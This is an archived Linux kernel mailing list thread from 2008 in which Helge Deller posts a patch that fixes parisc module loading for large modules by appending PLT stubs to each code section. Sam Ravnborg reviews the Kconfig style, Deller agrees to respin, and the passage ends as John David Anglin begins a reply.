	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750945AbYL2OK1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 09:10:27 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2008 14:10:25 -0000
Original-Received: from mnhm-590f7eb1.pool.einsundeins.de (EHLO halden.box) [89.15.126.177]
  by mail.gmx.net (mp035) with SMTP; 29 Dec 2008 15:10:25 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+2kPcPJP+23O8YpzEQrPPvREDXviJXUrQkyDFSaY
	jmmeSjGza82ZBK
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <4958D99E.4010201@gmx.de>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.64,0.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1041 gmane.linux.kernel:773317
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1041>

This is a multi-part message in MIME format.
--------------060902090404070205040905
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

[PATCH 2/2] parisc: fix module loading failure of large modules

On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
fail to reach their PLT stub if we only create one big stub array for
all sections at the beginning of the core or init section.

With this patch we now instead append individual PLT stub entries
directly at the end of the code sections where the stubs are actually
called. This reduces the distance between the PCREL location and the
stub entry so that the relocations can be fulfilled.

The kernel module loader will call module_additional_section_size() and
request us to return the amount of additional memory we need for the
stubs of each section. The final section size of the code segment will
then be increased by that value when the kernel layouts the final
addresses of all sections.

Tested with 32- and 64bit kernels.

Signed-off-by: Helge Deller <deller@gmx.de>


--------------060902090404070205040905
Content-Type: text/plain;
 name="modules.patch2"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="modules.patch2"

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 644a70b..cbb622f 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -34,6 +34,9 @@ config RWSEM_GENERIC_SPINLOCK
 config RWSEM_XCHGADD_ALGORITHM
 	bool
 
+config ARCH_WANTS_STUBS_BEHIND_SECTIONS
+	def_bool y
+
 config ARCH_HAS_ILOG2_U32
 	bool
 	default n
diff --git a/arch/parisc/include/asm/module.h b/arch/parisc/include/asm/module.h
index c2cb49e..1f41234 100644
--- a/arch/parisc/include/asm/module.h
+++ b/arch/parisc/include/asm/module.h
@@ -23,8 +23,10 @@ struct mod_arch_specific
 {
 	unsigned long got_offset, got_count, got_max;
 	unsigned long fdesc_offset, fdesc_count, fdesc_max;
-	unsigned long stub_offset, stub_count, stub_max;
-	unsigned long init_stub_offset, init_stub_count, init_stub_max;
+	struct {
+		unsigned long stub_offset;
+		unsigned int stub_entries;
+		} *section;
 	int unwind_section;
 	struct unwind_table *unwind;
 };
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index 44138c3..f57caf3 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -6,6 +6,7 @@
  *
  *    Linux/PA-RISC Project (http://www.parisc-linux.org/)
  *    Copyright (C) 2003 Randolph Chung <tausq at debian . org>
+ *    Copyright (C) 2008 Helge Deller <deller@gmx.de>
  *
  *
  *    This program is free software; you can redistribute it and/or modify
@@ -24,6 +25,21 @@
  *
  *
  *    Notes:
+ *    - PLT stub handling
+ *      On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
+ *      ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
+ *      fail to reach its PLT stub if we only create one big stub array for
+ *      all sections at the beginning of the core or init section.
+ *      Instead we now append individual PLT stub entries directly at the end
+ *      of the code sections where the stubs are actually called.
+ *      This reduces the distance between the PCREL location and the stub entry
+ *      so that the relocations can be fulfilled.
+ *      The kernel module loader will call module_additional_section_size()
+ *      and request us to return the amount of additional memory we need for
+ *      the stubs of each section. The final section size of the code segment
+ *      will then be increased by that value when the kernel layouts the final
+ *      addresses of all sections.
+ *
  *    - SEGREL32 handling
  *      We are not doing SEGREL32 handling correctly. According to the ABI, we
  *      should do a value offset, like this:
@@ -58,9 +74,13 @@
 #define DEBUGP(fmt...)
 #endif
 
+#define RELOC_REACHABLE(val, bits) \
+	(( ( !((val) & (1<<((bits)-1))) && ((val)>>(bits)) != 0 )  ||	\
+	     ( ((val) & (1<<((bits)-1))) && ((val)>>(bits)) != (((__typeof__(val))(~0))>>((bits)+2)))) ? \
+	0 : 1)
+
 #define CHECK_RELOC(val, bits) \
-	if ( ( !((val) & (1<<((bits)-1))) && ((val)>>(bits)) != 0 )  ||	\
-	     ( ((val) & (1<<((bits)-1))) && ((val)>>(bits)) != (((__typeof__(val))(~0))>>((bits)+2)))) { \
+	if (!RELOC_REACHABLE(val, bits)) { \
 		printk(KERN_ERR "module %s relocation of symbol %s is out of range (0x%lx in %d bits)\n", \
 		me->name, strtab + sym->st_name, (unsigned long)val, bits); \
 		return -ENOEXEC;			\
@@ -92,13 +112,6 @@ static inline int in_local(struct module *me, void *loc)
 	return in_init(me, loc) || in_core(me, loc);
 }
 
-static inline int in_local_section(struct module *me, void *loc, void *dot)
-{
-	return (in_init(me, loc) && in_init(me, dot)) ||
-		(in_core(me, loc) && in_core(me, dot));
-}
-
-
 #ifndef CONFIG_64BIT
 struct got_entry {
 	Elf32_Addr addr;
@@ -258,23 +271,42 @@ static inline unsigned long count_stubs(const Elf_Rela *rela, unsigned long n)
 /* Free memory returned from module_alloc */
 void module_free(struct module *mod, void *module_region)
 {
+	kfree(mod->arch.section);
+	mod->arch.section = NULL;
+
 	vfree(module_region);
 	/* FIXME: If module_region == mod->init_region, trim exception
            table entries. */
 }
 
+/* return number of additional bytes to reserve for a section */
+unsigned long module_additional_section_size(struct module *mod,
+					     unsigned int section)
+{
+	/* size needed for all stubs of this section (including
+	 * one additional for correct alignment of the stubs) */
+	return (mod->arch.section[section].stub_entries + 1)
+		* sizeof(struct stub_entry);
+}
+
 #define CONST 
 int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 			      CONST Elf_Shdr *sechdrs,
 			      CONST char *secstrings,
 			      struct module *me)
 {
-	unsigned long gots = 0, fdescs = 0, stubs = 0, init_stubs = 0;
+	unsigned long gots = 0, fdescs = 0, len;
 	unsigned int i;
 
+	len = hdr->e_shnum * sizeof(me->arch.section[0]);
+	me->arch.section = kzalloc(len, GFP_KERNEL);
+	if (!me->arch.section)
+		return -ENOMEM;
+
 	for (i = 1; i < hdr->e_shnum; i++) {
-		const Elf_Rela *rels = (void *)hdr + sechdrs[i].sh_offset;
+		const Elf_Rela *rels = (void *)sechdrs[i].sh_addr;
 		unsigned long nrels = sechdrs[i].sh_size / sizeof(*rels);
+		unsigned int count, s;
 
 		if (strncmp(secstrings + sechdrs[i].sh_name,
 			    ".PARISC.unwind", 14) == 0)
@@ -290,11 +322,24 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 		 */
 		gots += count_gots(rels, nrels);
 		fdescs += count_fdescs(rels, nrels);
-		if(strncmp(secstrings + sechdrs[i].sh_name,
-			   ".rela.init", 10) == 0)
-			init_stubs += count_stubs(rels, nrels);
-		else
-			stubs += count_stubs(rels, nrels);
+
+		/* XXX: By sorting the relocs and finding duplicate entries
+		 *  we could reduce the number of necessary stubs and save
+		 *  some memory. */
+		count = count_stubs(rels, nrels);
+		if (!count)
+			continue;
+
+		/* so we need relocation stubs. reserve necessary memory. */
+		/* sh_info gives the section for which we need to add stubs. */
+		s = sechdrs[i].sh_info;
+
+		/* amunt of stubs we want to add to this section */
+		WARN_ON(me->arch.section[s].stub_entries);
+		me->arch.section[s].stub_entries += count;
+
+		/* stubs start at end of the section */
+		me->arch.section[s].stub_offset = sechdrs[s].sh_size;
 	}
 
 	/* align things a bit */
@@ -306,18 +351,8 @@ int module_frob_arch_sections(CONST Elf_Ehdr *hdr,
 	me->arch.fdesc_offset = me->core_size;
 	me->core_size += fdescs * sizeof(Elf_Fdesc);
 
-	me->core_size = ALIGN(me->core_size, 16);
-	me->arch.stub_offset = me->core_size;
-	me->core_size += stubs * sizeof(struct stub_entry);
-
-	me->init_size = ALIGN(me->init_size, 16);
-	me->arch.init_stub_offset = me->init_size;
-	me->init_size += init_stubs * sizeof(struct stub_entry);
-
 	me->arch.got_max = gots;
 	me->arch.fdesc_max = fdescs;
-	me->arch.stub_max = stubs;
-	me->arch.init_stub_max = init_stubs;
 
 	return 0;
 }
@@ -380,22 +415,18 @@ enum elf_stub_type {
 };
 
 static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
-	enum elf_stub_type stub_type, int init_section)
+	enum elf_stub_type stub_type, Elf_Addr loc0, unsigned int targetsec)
 {
-	unsigned long i;
 	struct stub_entry *stub;
 
-	if(init_section) {
-		i = me->arch.init_stub_count++;
-		BUG_ON(me->arch.init_stub_count > me->arch.init_stub_max);
-		stub = me->module_init + me->arch.init_stub_offset + 
-			i * sizeof(struct stub_entry);
-	} else {
-		i = me->arch.stub_count++;
-		BUG_ON(me->arch.stub_count > me->arch.stub_max);
-		stub = me->module_core + me->arch.stub_offset + 
-			i * sizeof(struct stub_entry);
-	}
+	/* do not write outside available stub area */
+	BUG_ON(0 == me->arch.section[targetsec].stub_entries--);
+
+	/* calculate address of next stub entry, take care of alignment */
+	loc0 += me->arch.section[targetsec].stub_offset;
+	loc0 = ALIGN(loc0, sizeof(struct stub_entry));
+	stub = (void *) loc0;
+	me->arch.section[targetsec].stub_offset += sizeof(struct stub_entry);
 
 #ifndef CONFIG_64BIT
 /* for 32-bit the stub looks like this:
@@ -489,15 +520,19 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 	Elf32_Addr val;
 	Elf32_Sword addend;
 	Elf32_Addr dot;
+	Elf_Addr loc0;
+	unsigned int targetsec = sechdrs[relsec].sh_info;
 	//unsigned long dp = (unsigned long)$global$;
 	register unsigned long dp asm ("r27");
 
 	DEBUGP("Applying relocate section %u to %u\n", relsec,
-	       sechdrs[relsec].sh_info);
+	       targetsec);
 	for (i = 0; i < sechdrs[relsec].sh_size / sizeof(*rel); i++) {
 		/* This is where to make the change */
-		loc = (void *)sechdrs[sechdrs[relsec].sh_info].sh_addr
+		loc = (void *)sechdrs[targetsec].sh_addr
 		      + rel[i].r_offset;
+		/* This is the start of the target section */
+		loc0 = sechdrs[targetsec].sh_addr;
 		/* This is the symbol it is referring to */
 		sym = (Elf32_Sym *)sechdrs[symindex].sh_addr
 			+ ELF32_R_SYM(rel[i].r_info);
@@ -569,19 +604,32 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			break;
 		case R_PARISC_PCREL17F:
 			/* 17-bit PC relative address */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
+			/* calculate direct call offset */
+			val += addend;
 			val = (val - dot - 8)/4;
-			CHECK_RELOC(val, 17)
+			if (!RELOC_REACHABLE(val, 17)) {
+				/* direct distance too far, create
+				 * stub entry instead */
+				val = get_stub(me, sym->st_value, addend,
+					ELF_STUB_DIRECT, loc0, targetsec);
+				val = (val - dot - 8)/4;
+				CHECK_RELOC(val, 17);
+			}
 			*loc = (*loc & ~0x1f1ffd) | reassemble_17(val);
 			break;
 		case R_PARISC_PCREL22F:
 			/* 22-bit PC relative address; only defined for pa20 */
-			val = get_stub(me, val, addend, ELF_STUB_GOT, in_init(me, loc));
-			DEBUGP("STUB FOR %s loc %lx+%lx at %lx\n", 
-			       strtab + sym->st_name, (unsigned long)loc, addend, 
-			       val)
+			/* calculate direct call offset */
+			val += addend;
 			val = (val - dot - 8)/4;
-			CHECK_RELOC(val, 22);
+			if (!RELOC_REACHABLE(val, 22)) {
+				/* direct distance too far, create
+				 * stub entry instead */
+				val = get_stub(me, sym->st_value, addend,
+					ELF_STUB_DIRECT, loc0, targetsec);
+				val = (val - dot - 8)/4;
+				CHECK_RELOC(val, 22);
+			}
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
 
@@ -610,13 +658,17 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 	Elf64_Addr val;
 	Elf64_Sxword addend;
 	Elf64_Addr dot;
+	Elf_Addr loc0;
+	unsigned int targetsec = sechdrs[relsec].sh_info;
 
 	DEBUGP("Applying relocate section %u to %u\n", relsec,
-	       sechdrs[relsec].sh_info);
+	       targetsec);
 	for (i = 0; i < sechdrs[relsec].sh_size / sizeof(*rel); i++) {
 		/* This is where to make the change */
-		loc = (void *)sechdrs[sechdrs[relsec].sh_info].sh_addr
+		loc = (void *)sechdrs[targetsec].sh_addr
 		      + rel[i].r_offset;
+		/* This is the start of the target section */
+		loc0 = sechdrs[targetsec].sh_addr;
 		/* This is the symbol it is referring to */
 		sym = (Elf64_Sym *)sechdrs[symindex].sh_addr
 			+ ELF64_R_SYM(rel[i].r_info);
@@ -672,42 +724,40 @@ int apply_relocate_add(Elf_Shdr *sechdrs,
 			DEBUGP("PCREL22F Symbol %s loc %p val %lx\n",
 			       strtab + sym->st_name,
 			       loc, val);
+			val += addend;
 			/* can we reach it locally? */
-			if(!in_local_section(me, (void *)val, (void *)dot)) {
-
-				if (in_local(me, (void *)val))
-					/* this is the case where the
-					 * symbol is local to the
-					 * module, but in a different
-					 * section, so stub the jump
-					 * in case it's more than 22
-					 * bits away */
-					val = get_stub(me, val, addend, ELF_STUB_DIRECT,
-						       in_init(me, loc));
-				else if (strncmp(strtab + sym->st_name, "$$", 2)
+			if (in_local(me, (void *)val)) {
+				/* this is the case where the symbol is local
+				 * to the module, but in a different section,
+				 * so stub the jump in case it's more than 22
+				 * bits away */
+				val = (val - dot - 8)/4;
+				if (!RELOC_REACHABLE(val, 22)) {
+					/* direct distance too far, create
+					 * stub entry instead */
+					val = get_stub(me, sym->st_value,
+						addend, ELF_STUB_DIRECT,
+						loc0, targetsec);
+				} else {
+					/* Ok, we can reach it directly. */
+					val = sym->st_value;
+					val += addend;
+				}
+			} else {
+				val = sym->st_value;
+				if (strncmp(strtab + sym->st_name, "$$", 2)
 				    == 0)
 					val = get_stub(me, val, addend, ELF_STUB_MILLI,
-						       in_init(me, loc));
+						       loc0, targetsec);
 				else
 					val = get_stub(me, val, addend, ELF_STUB_GOT,
-						       in_init(me, loc));
+						       loc0, targetsec);
 			}
 			DEBUGP("STUB FOR %s loc %lx, val %lx+%lx at %lx\n", 
 			       strtab + sym->st_name, loc, sym->st_value,
 			       addend, val);
-			/* FIXME: local symbols work as long as the
-			 * core and init pieces aren't separated too
-			 * far.  If this is ever broken, you will trip
-			 * the check below.  The way to fix it would
-			 * be to generate local stubs to go between init
-			 * and core */
-			if((Elf64_Sxword)(val - dot - 8) > 0x800000 -1 ||
-			   (Elf64_Sxword)(val - dot - 8) < -0x800000) {
-				printk(KERN_ERR "Module %s, symbol %s is out of range for PCREL22F relocation\n",
-				       me->name, strtab + sym->st_name);
-				return -ENOEXEC;
-			}
 			val = (val - dot - 8)/4;
+			CHECK_RELOC(val, 22);
 			*loc = (*loc & ~0x3ff1ffd) | reassemble_22(val);
 			break;
 		case R_PARISC_DIR64:
@@ -794,12 +844,8 @@ int module_finalize(const Elf_Ehdr *hdr,
 	addr = (u32 *)entry->addr;
 	printk("INSNS: %x %x %x %x\n",
 	       addr[0], addr[1], addr[2], addr[3]);
-	printk("stubs used %ld, stubs max %ld\n"
-	       "init_stubs used %ld, init stubs max %ld\n"
-	       "got entries used %ld, gots max %ld\n"
+	printk("got entries used %ld, gots max %ld\n"
 	       "fdescs used %ld, fdescs max %ld\n",
-	       me->arch.stub_count, me->arch.stub_max,
-	       me->arch.init_stub_count, me->arch.init_stub_max,
 	       me->arch.got_count, me->arch.got_max,
 	       me->arch.fdesc_count, me->arch.fdesc_max);
 #endif
@@ -829,7 +875,10 @@ int module_finalize(const Elf_Ehdr *hdr,
 				me->name, me->arch.got_count, MAX_GOTS);
 		return -EINVAL;
 	}
-	
+
+	kfree(me->arch.section);
+	me->arch.section = NULL;
+
 	/* no symbol table */
 	if(symhdr == NULL)
 		return 0;

--------------060902090404070205040905--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] parisc: fix module loading failure of large modules
Date: Mon, 29 Dec 2008 16:46:10 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20081229154610.GA7871@uranus.ravnborg.org>
References: <4958D99E.4010201@gmx.de> <4958DA54.8060003@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230565501 31567 80.91.229.12 (29 Dec 2008 15:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 15:45:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Moritz Muehlenhoff <jmm@inutil.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 16:46:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHKJZ-0002U1-0z
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 16:45:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751234AbYL2Pok (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 10:44:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751509AbYL2Pok
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 10:44:40 -0500
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:37379 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751234AbYL2Poj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 10:44:39 -0500
Original-Received: from ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id 6687CA50040;
	Mon, 29 Dec 2008 16:44:33 +0100 (CET)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 42FA8580D0; Mon, 29 Dec 2008 16:46:10 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <4958DA54.8060003@gmx.de>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1042 gmane.linux.kernel:773347
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1042>

On Mon, Dec 29, 2008 at 03:10:28PM +0100, Helge Deller wrote:
> [PATCH 2/2] parisc: fix module loading failure of large modules
> 
> On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
> ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
> fail to reach their PLT stub if we only create one big stub array for
> all sections at the beginning of the core or init section.
> 
> With this patch we now instead append individual PLT stub entries
> directly at the end of the code sections where the stubs are actually
> called. This reduces the distance between the PCREL location and the
> stub entry so that the relocations can be fulfilled.
> 
> The kernel module loader will call module_additional_section_size() and
> request us to return the amount of additional memory we need for the
> stubs of each section. The final section size of the code segment will
> then be increased by that value when the kernel layouts the final
> addresses of all sections.
> 
> Tested with 32- and 64bit kernels.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 

> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 644a70b..cbb622f 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -34,6 +34,9 @@ config RWSEM_GENERIC_SPINLOCK
>  config RWSEM_XCHGADD_ALGORITHM
>  	bool
>  
> +config ARCH_WANTS_STUBS_BEHIND_SECTIONS
> +	def_bool y
> +

The recommended practive today is:

In some relevant Kconfig file add:

config HAVE_MODULE_SECTION_STUBS
	bool

And then in arch/$ARCH/Kconfig do:

config PARISC
	...
	select HAVE_MODULE_SECTION_STUBS
	...

The select are supposed to be sorted alphabetically
but people seems to use a different alphabet for
each arch.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] parisc: fix module loading failure of large modules
Date: Mon, 29 Dec 2008 17:09:44 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <4958F648.6010401@gmx.de>
References: <4958D99E.4010201@gmx.de> <4958DA54.8060003@gmx.de> <20081229154610.GA7871@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230567019 4145 80.91.229.12 (29 Dec 2008 16:10:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 16:10:19 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Moritz Muehlenhoff <jmm@inutil.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Helge Deller <deller@gmx.de>
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 17:11:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHKhp-0000VF-QI
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 17:11:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750846AbYL2QJq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 11:09:46 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751208AbYL2QJq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 11:09:46 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:43738 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750846AbYL2QJp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 11:09:45 -0500
Original-Received: (qmail invoked by alias); 29 Dec 2008 16:09:42 -0000
Original-Received: from mnhm-590f7eb1.pool.einsundeins.de (EHLO halden.box) [89.15.126.177]
  by mail.gmx.net (mp045) with SMTP; 29 Dec 2008 17:09:42 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/zL+dgXa/zF1285U5bQZ8/sYLjPh1UcgJm75TTbj
	tzPuN0J0x1WPBw
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081229154610.GA7871@uranus.ravnborg.org>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.49
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1043 gmane.linux.kernel:773351
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1043>

Sam Ravnborg wrote:
> On Mon, Dec 29, 2008 at 03:10:28PM +0100, Helge Deller wrote:
>> [PATCH 2/2] parisc: fix module loading failure of large modules
>>
>> On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
>> ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
>> fail to reach their PLT stub if we only create one big stub array for
>> all sections at the beginning of the core or init section.
>>
>> With this patch we now instead append individual PLT stub entries
>> directly at the end of the code sections where the stubs are actually
>> called. This reduces the distance between the PCREL location and the
>> stub entry so that the relocations can be fulfilled.
>>
>> The kernel module loader will call module_additional_section_size() and
>> request us to return the amount of additional memory we need for the
>> stubs of each section. The final section size of the code segment will
>> then be increased by that value when the kernel layouts the final
>> addresses of all sections.
>>
>> Tested with 32- and 64bit kernels.
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
> 
>> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
>> index 644a70b..cbb622f 100644
>> --- a/arch/parisc/Kconfig
>> +++ b/arch/parisc/Kconfig
>> @@ -34,6 +34,9 @@ config RWSEM_GENERIC_SPINLOCK
>>  config RWSEM_XCHGADD_ALGORITHM
>>  	bool
>>  
>> +config ARCH_WANTS_STUBS_BEHIND_SECTIONS
>> +	def_bool y
>> +
> 
> The recommended practive today is:
> 
> In some relevant Kconfig file add:
> 
> config HAVE_MODULE_SECTION_STUBS
> 	bool
> 
> And then in arch/$ARCH/Kconfig do:
> 
> config PARISC
> 	...
> 	select HAVE_MODULE_SECTION_STUBS
> 	...
> 
> The select are supposed to be sorted alphabetically
> but people seems to use a different alphabet for
> each arch.

Thanks Sam,
I'll change that and respin.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] parisc: fix module loading failure of large modules
Date: Mon, 29 Dec 2008 11:14:46 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <20081229161446.C91EB4EDA@hiauly1.hia.nrc.ca>
References: <4958DA54.8060003@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230567326 5232 80.91.229.12 (29 Dec 2008 16:15:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Dec 2008 16:15:26 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kyle@mcmartin.ca, randolph@tausq.org, jmm@inutil.org,
	torvalds@linux-foundation.org, akpm@linux-foundation.org,
	deller@gmx.de
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 29 17:16:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHKmz-00041x-J0
	for glpp-linux-parisc@gmane.org; Mon, 29 Dec 2008 17:16:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751684AbYL2QOt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Dec 2008 11:14:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751548AbYL2QOt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Dec 2008 11:14:49 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4686 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751246AbYL2QOs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Dec 2008 11:14:48 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C91EB4EDA; Mon, 29 Dec 2008 11:14:46 -0500 (EST)
In-Reply-To: <4958DA54.8060003@gmx.de> from "Helge Deller" at Dec 29, 2008 03:10:28 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1044 gmane.linux.kernel:773355
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1044>

Hi Helge,

> With this patch we now instead append individual PLT stub entries
